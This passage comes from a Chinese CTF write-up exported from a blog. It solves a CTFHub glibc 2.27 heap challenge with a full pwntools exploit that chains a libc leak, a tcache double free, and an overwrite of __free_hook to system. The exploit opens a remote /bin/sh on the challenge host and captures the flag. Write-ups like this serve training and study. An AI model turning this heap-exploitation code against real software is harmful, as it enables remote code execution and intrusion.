punctuation\">]<\/span><br \/>\nsystem <span class=\"token operator\">&#061;<\/span> libc_base <span class=\"token operator\">&#043;<\/span> libc<span class=\"token punctuation\">.<\/span>sym<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;system&#039;<\/span><span class=\"token punctuation\">]<\/span><\/p>\n<h4>5.3 tcache poisoning \u7684 payload<\/h4>\n<p><span class=\"token comment\"># 6. \u53d6\u51fa 6 \u4e2a chunk&#xff0c;tcache 0x90 \u94fe\u5269 1 \u4e2a<\/span><br \/>\n<span class=\"token keyword\">for<\/span> i <span class=\"token keyword\">in<\/span> <span class=\"token builtin\">range<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">6<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    add<span class=\"token punctuation\">(<\/span><span class=\"token number\">6<\/span> <span class=\"token operator\">&#8211;<\/span> i<span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 7. double free chunk 0<\/span><br \/>\nfree<span class=\"token punctuation\">(<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 8. \u53d6\u51fa chunk 0&#xff0c;\u8986\u76d6 fd \u4e3a free_hook<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> p64<span class=\"token punctuation\">(<\/span>free_hook<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 9. \u53d6\u51fa chunk 0&#xff08;\u56e0\u4e3a tcache \u5934\u90e8\u662f chunk 0&#xff09;<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">9<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 10. \u53d6\u51fa free_hook&#xff0c;\u5199\u5165 system<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">10<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> p64<span class=\"token punctuation\">(<\/span>system<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 11. \u89e6\u53d1 system(&#034;\/bin\/sh&#034;)<\/span><br \/>\nfree<span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<h4>5.4 \u5b8c\u6574 payload<\/h4>\n<p><span class=\"token keyword\">from<\/span> pwn <span class=\"token keyword\">import<\/span> <span class=\"token operator\">*<\/span><\/p>\n<p>context<span class=\"token punctuation\">(<\/span>log_level<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;debug&#039;<\/span><span class=\"token punctuation\">,<\/span> arch<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;amd64&#039;<\/span><span class=\"token punctuation\">,<\/span> os<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;linux&#039;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>io <span class=\"token operator\">&#061;<\/span> remote<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;challenge-b18d2a86b4ecea93.sandbox.ctfhub.com&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">20312<\/span><span class=\"token punctuation\">)<\/span><br \/>\nlibc <span class=\"token operator\">&#061;<\/span> ELF<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;.\/libc-2.27.so&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">add<\/span><span class=\"token punctuation\">(<\/span>idx<span class=\"token punctuation\">,<\/span> size<span class=\"token punctuation\">,<\/span> data<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Your choice: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>sendline<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;1&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Give me a book ID: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>sendline<span class=\"token punctuation\">(<\/span><span class=\"token builtin\">str<\/span><span class=\"token punctuation\">(<\/span>idx<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>encode<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;how long: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>sendline<span class=\"token punctuation\">(<\/span><span class=\"token builtin\">str<\/span><span class=\"token punctuation\">(<\/span>size<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>encode<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Content: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>send<span class=\"token punctuation\">(<\/span>data<span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">show<\/span><span class=\"token punctuation\">(<\/span>idx<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Your choice: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>sendline<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;2&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Which book do you want to show?&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>sendline<span class=\"token punctuation\">(<\/span><span class=\"token builtin\">str<\/span><span class=\"token punctuation\">(<\/span>idx<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>encode<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">free<\/span><span class=\"token punctuation\">(<\/span>idx<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Your choice: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>sendline<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;3&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Which one to throw?&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    io<span class=\"token punctuation\">.<\/span>sendline<span class=\"token punctuation\">(<\/span><span class=\"token builtin\">str<\/span><span class=\"token punctuation\">(<\/span>idx<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>encode<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 1. \u586b\u6ee1 tcache \u7684 0x90 \u94fe<\/span><br \/>\n<span class=\"token keyword\">for<\/span> i <span class=\"token keyword\">in<\/span> <span class=\"token builtin\">range<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">7<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    add<span class=\"token punctuation\">(<\/span>i<span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 2. \u7b2c 8 \u4e2a chunk&#xff0c;\u8fdb\u5165 unsorted bin<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">7<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 3. \/bin\/sh chunk<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x90<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;\/bin\/sh\\\\x00&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 4. \u91ca\u653e 0~7<\/span><br \/>\n<span class=\"token keyword\">for<\/span> i <span class=\"token keyword\">in<\/span> <span class=\"token builtin\">range<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    free<span class=\"token punctuation\">(<\/span>i<span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 5. \u6cc4\u9732 libc<\/span><br \/>\nshow<span class=\"token punctuation\">(<\/span><span class=\"token number\">7<\/span><span class=\"token punctuation\">)<\/span><br \/>\nio<span class=\"token punctuation\">.<\/span>recvuntil<span class=\"token punctuation\">(<\/span><span class=\"token string\">b&#034;Content: &#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\nleak <span class=\"token operator\">&#061;<\/span> u64<span class=\"token punctuation\">(<\/span>io<span class=\"token punctuation\">.<\/span>recv<span class=\"token punctuation\">(<\/span><span class=\"token number\">6<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>ljust<span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;\\\\x00&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\nlibc_base <span class=\"token operator\">&#061;<\/span> leak <span class=\"token operator\">&#8211;<\/span> <span class=\"token number\">96<\/span> <span class=\"token operator\">&#8211;<\/span> <span class=\"token number\">0x10<\/span> <span class=\"token operator\">&#8211;<\/span> libc<span class=\"token punctuation\">.<\/span>sym<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;__malloc_hook&#039;<\/span><span class=\"token punctuation\">]<\/span><br \/>\nfree_hook <span class=\"token operator\">&#061;<\/span> libc_base <span class=\"token operator\">&#043;<\/span> libc<span class=\"token punctuation\">.<\/span>sym<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;__free_hook&#039;<\/span><span class=\"token punctuation\">]<\/span><br \/>\nsystem <span class=\"token operator\">&#061;<\/span> libc_base <span class=\"token operator\">&#043;<\/span> libc<span class=\"token punctuation\">.<\/span>sym<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;system&#039;<\/span><span class=\"token punctuation\">]<\/span><\/p>\n<p>log<span class=\"token punctuation\">.<\/span>success<span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#039;libc_base &#061; <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">hex<\/span><span class=\"token punctuation\">(<\/span>libc_base<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#039;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\nlog<span class=\"token punctuation\">.<\/span>success<span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#039;free_hook &#061; <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">hex<\/span><span class=\"token punctuation\">(<\/span>free_hook<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#039;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\nlog<span class=\"token punctuation\">.<\/span>success<span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#039;system &#061; <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">hex<\/span><span class=\"token punctuation\">(<\/span>system<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#039;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 6. \u53d6\u51fa 6 \u4e2a chunk<\/span><br \/>\n<span class=\"token keyword\">for<\/span> i <span class=\"token keyword\">in<\/span> <span class=\"token builtin\">range<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">6<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    add<span class=\"token punctuation\">(<\/span><span class=\"token number\">6<\/span> <span class=\"token operator\">&#8211;<\/span> i<span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 7. double free chunk 0<\/span><br \/>\nfree<span class=\"token punctuation\">(<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 8. \u53d6\u51fa chunk 0&#xff0c;\u8986\u76d6 fd \u4e3a free_hook<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> p64<span class=\"token punctuation\">(<\/span>free_hook<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 9. \u53d6\u51fa chunk 0<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">9<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#034;aaaa&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 10. \u53d6\u51fa free_hook&#xff0c;\u5199\u5165 system<\/span><br \/>\nadd<span class=\"token punctuation\">(<\/span><span class=\"token number\">10<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">0x80<\/span><span class=\"token punctuation\">,<\/span> p64<span class=\"token punctuation\">(<\/span>system<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\"># 11. \u89e6\u53d1 system(&#034;\/bin\/sh&#034;)<\/span><br \/>\nfree<span class=\"token punctuation\">(<\/span><span class=\"token number\">8<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>io<span class=\"token punctuation\">.<\/span>interactive<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<hr \/>\n<h3>\u516d\u3001\u547d\u4ee4\u8be6\u89e3<\/h3>\n<h4>6.1 checksec &#8211;file&#061;chunk<\/h4>\n<p>\u68c0\u67e5\u7a0b\u5e8f\u7684\u9632\u62a4\u673a\u5236&#xff1a;<\/p>\n<ul>\n<li>RELRO&#xff1a;GOT \u8868\u4fdd\u62a4<\/li>\n<li>Canary&#xff1a;\u6808\u6ea2\u51fa\u68c0\u6d4b<\/li>\n<li>NX&#xff1a;\u5806\u6808\u4e0d\u53ef\u6267\u884c<\/li>\n<li>PIE&#xff1a;\u4ee3\u7801\u6bb5\u968f\u673a\u5316<\/li>\n<\/ul>\n<h4>6.2 readelf -s chunk | grep -E &#034;chunk|size&#034;<\/h4>\n<p>\u67e5\u770b\u5168\u5c40\u53d8\u91cf chunk \u548c size \u7684\u5730\u5740\u548c\u5927\u5c0f\u3002<\/p>\n<p>\u8f93\u51fa&#xff1a;<\/p>\n<p>48: 0000000000202060   400 OBJECT  GLOBAL DEFAULT   24 size<br \/>\n53: 0000000000202200   400 OBJECT  GLOBAL DEFAULT   24 chunk<\/p>\n<ul>\n<li>size \u5728 0x202060&#xff0c;400 \u5b57\u8282<\/li>\n<li>chunk \u5728 0x202200&#xff0c;400 \u5b57\u8282<\/li>\n<\/ul>\n<h4>6.3 readelf -s chunk | grep -E &#034;__free_hook|__malloc_hook&#034;<\/h4>\n<p>\u67e5\u770b __free_hook \u548c __malloc_hook \u7684\u504f\u79fb&#xff08;\u9700\u8981\u5728 libc \u4e0a\u8fd0\u884c&#xff09;&#xff1a;<\/p>\n<p>readelf <span class=\"token parameter variable\">-s<\/span> libc-2.27.so <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#034;__free_hook|__malloc_hook&#034;<\/span><\/p>\n<h4>6.4 gdb \u8c03\u8bd5<\/h4>\n<p>gdb .\/chunk<br \/>\n<span class=\"token punctuation\">(<\/span>gdb<span class=\"token punctuation\">)<\/span> b main<br \/>\n<span class=\"token punctuation\">(<\/span>gdb<span class=\"token punctuation\">)<\/span> r<\/p>\n<p>\u67e5\u770b chunk \u6570\u7ec4&#xff1a;<\/p>\n<p>p &amp;chunk<br \/>\nx\/10gx &amp;chunk<\/p>\n<p>\u67e5\u770b __free_hook&#xff1a;<\/p>\n<p>p &amp;__free_hook<\/p>\n<h4>6.5 pwntools \u5e38\u7528\u51fd\u6570<\/h4>\n<table>\n<tr>\u51fd\u6570\u7528\u9014<\/tr>\n<tbody>\n<tr>\n<td>remote(host, port)<\/td>\n<td>\u8fde\u63a5\u8fdc\u7a0b<\/td>\n<\/tr>\n<tr>\n<td>process(&#039;.\/chunk&#039;)<\/td>\n<td>\u8fd0\u884c\u672c\u5730\u7a0b\u5e8f<\/td>\n<\/tr>\n<tr>\n<td>sendlineafter(delim, data)<\/td>\n<td>\u7b49\u5f85 delim \u540e\u53d1\u9001 data<\/td>\n<\/tr>\n<tr>\n<td>recvuntil(delim)<\/td>\n<td>\u63a5\u6536\u76f4\u5230 delim<\/td>\n<\/tr>\n<tr>\n<td>recv(6)<\/td>\n<td>\u63a5\u6536 6 \u5b57\u8282<\/td>\n<\/tr>\n<tr>\n<td>u64(data.ljust(8, b&#039;\\\\x00&#039;))<\/td>\n<td>8 \u5b57\u8282\u5c0f\u7aef\u5e8f\u8f6c\u6574\u6570<\/td>\n<\/tr>\n<tr>\n<td>p64(addr)<\/td>\n<td>\u6574\u6570\u8f6c 8 \u5b57\u8282\u5c0f\u7aef\u5e8f<\/td>\n<\/tr>\n<tr>\n<td>interactive()<\/td>\n<td>\u8fdb\u5165\u4ea4\u4e92\u6a21\u5f0f<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>\u4e03\u3001\u5229\u7528\u6d41\u7a0b\u56fe<\/h3>\n<p>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502 1. \u586b\u6ee1 tcache \u7684 0x90 \u94fe                                    \u2502<br \/>\n\u2502    add(0~6, 0x80) -&gt; 7 \u4e2a 0x90 chunk                        \u2502<br \/>\n\u2502    free(0~6) -&gt; tcache 0x90 \u94fe\u6ee1                            \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 2. \u6cc4\u9732 libc                                                 \u2502<br \/>\n\u2502    add(7, 0x80) -&gt; \u7b2c 8 \u4e2a 0x90 chunk                       \u2502<br \/>\n\u2502    free(7) -&gt; \u8fdb\u5165 unsorted bin                             \u2502<br \/>\n\u2502    show(7) -&gt; \u6cc4\u9732 main_arena &#043; 96                          \u2502<br \/>\n\u2502    libc_base &#061; leak &#8211; 96 &#8211; 0x10 &#8211; __malloc_hook             \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 3. tcache poisoning                                          \u2502<br \/>\n\u2502    add(6~1, 0x80) -&gt; \u53d6\u51fa 6 \u4e2a&#xff0c;tcache \u5269 1 \u4e2a              \u2502<br \/>\n\u2502    free(0) -&gt; double free&#xff0c;tcache: chunk0 -&gt; chunk0         \u2502<br \/>\n\u2502    add(0, p64(free_hook)) -&gt; \u8986\u76d6 chunk0-&gt;fd &#061; free_hook   \u2502<br \/>\n\u2502    add(9, b&#034;aaaa&#034;) -&gt; \u53d6\u51fa chunk0                           \u2502<br \/>\n\u2502    add(10, p64(system)) -&gt; \u53d6\u51fa free_hook&#xff0c;\u5199\u5165 system      \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 4. getshell                                                  \u2502<br \/>\n\u2502    free(8) -&gt; chunk8 \u5185\u5bb9\u4e3a \/bin\/sh                         \u2502<br \/>\n\u2502    __free_hook &#061; system -&gt; system(&#034;\/bin\/sh&#034;)                \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/p>\n<hr \/>\n<h3>\u516b\u3001\u5173\u952e\u77e5\u8bc6\u70b9\u603b\u7ed3<\/h3>\n<table>\n<tr>\u77e5\u8bc6\u70b9\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>tcache<\/td>\n<td>glibc 2.26&#043; \u7684\u7ebf\u7a0b\u672c\u5730\u7f13\u5b58&#xff0c;\u6bcf\u4e2a bin \u6700\u591a 7 \u4e2a chunk<\/td>\n<\/tr>\n<tr>\n<td>UAF<\/td>\n<td>free \u540e\u6ca1\u6709\u7f6e\u96f6&#xff0c;\u53ef\u4ee5\u7ee7\u7eed\u8bbf\u95ee\u5df2\u91ca\u653e\u7684 chunk<\/td>\n<\/tr>\n<tr>\n<td>double free<\/td>\n<td>glibc 2.27 \u7684 tcache \u6ca1\u6709\u68c0\u67e5&#xff0c;\u53ef\u4ee5\u8fde\u7eed free \u540c\u4e00\u4e2a chunk<\/td>\n<\/tr>\n<tr>\n<td>tcache poisoning<\/td>\n<td>\u4fee\u6539\u5df2\u91ca\u653e chunk \u7684 fd&#xff0c;\u8ba9 malloc \u8fd4\u56de\u4efb\u610f\u5730\u5740<\/td>\n<\/tr>\n<tr>\n<td>__free_hook<\/td>\n<td>free \u65f6\u8c03\u7528\u7684\u94a9\u5b50\u51fd\u6570&#xff0c;\u8986\u5199\u4e3a system \u540e\u53ef\u4ee5\u6267\u884c system(chunk)<\/td>\n<\/tr>\n<tr>\n<td>unsorted bin leak<\/td>\n<td>\u91ca\u653e\u7684 chunk \u8fdb\u5165 unsorted bin&#xff0c;fd \u6307\u5411 main_arena &#043; 96<\/td>\n<\/tr>\n<tr>\n<td>Full RELRO<\/td>\n<td>GOT \u8868\u53ea\u8bfb&#xff0c;\u65e0\u6cd5\u8986\u5199 GOT&#xff0c;\u53ea\u80fd\u6253 hook<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>\u4e5d\u3001Flag<\/h3>\n<p>ctfhub{bb5c26fe3b593fb6403bd5c6}<\/p>\n<hr \/>\n<h3>\u5341\u3001\u53c2\u8003<\/h3>\n<ul>\n<li>glibc 2.27 tcache \u6e90\u7801\u5206\u6790<\/li>\n<li>CTFHub PWN \u5806\u6ea2\u51fa &#8211; Tcache Attack<\/li>\n<li>how2heap &#8211; tcache_poisoning<\/li>\n<\/ul>\n<p>Rambo<\/p>\n<p>2026\u5e749\u670824\u65e5<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Writeup 4 CTFHub PWN Tcache Attack<br \/>\n\u4e00\u3001\u9898\u76ee\u4fe1\u606f<br \/>\n\u9879\u76ee\u503c\u9898\u76ee\u540d\u79f0tcache Attack\u7a0b\u5e8f\u540dchunk\u67b6\u678464 \u4f4dlibcglibc 2.27\u9632\u62a4Full RELRO  Canary  NX  PIE\u8fdc\u7a0bnc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312Flagctfhub{bb5c26fe3b593fb6403bd5c6}\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6&#xff1a;tcache \u662f\u4ec0\u4e48<br \/>\n2<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[9066,7837,12579],"topic":[],"class_list":["post-110181","post","type-post","status-publish","format-standard","hentry","category-server","tag-ctf","tag-pwn","tag-12579"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/110181.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Writeup 4 CTFHub PWN Tcache Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"Writeup 4 CTFHub PWN Tcache Attack \u4e00\u3001\u9898\u76ee\u4fe1\u606f \u9879\u76ee\u503c\u9898\u76ee\u540d\u79f0tcache Attack\u7a0b\u5e8f\u540dchunk\u67b6\u678464 \u4f4dlibcglibc 2.27\u9632\u62a4Full RELRO Canary NX PIE\u8fdc\u7a0bnc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312Flagctfhub{bb5c26fe3b593fb6403bd5c6}\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6&#xff1a;tcache \u662f\u4ec0\u4e48 2\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/110181.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-26T01:57:06+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 \u5206\" \/>\n<script type=\"application\/ld+json\" 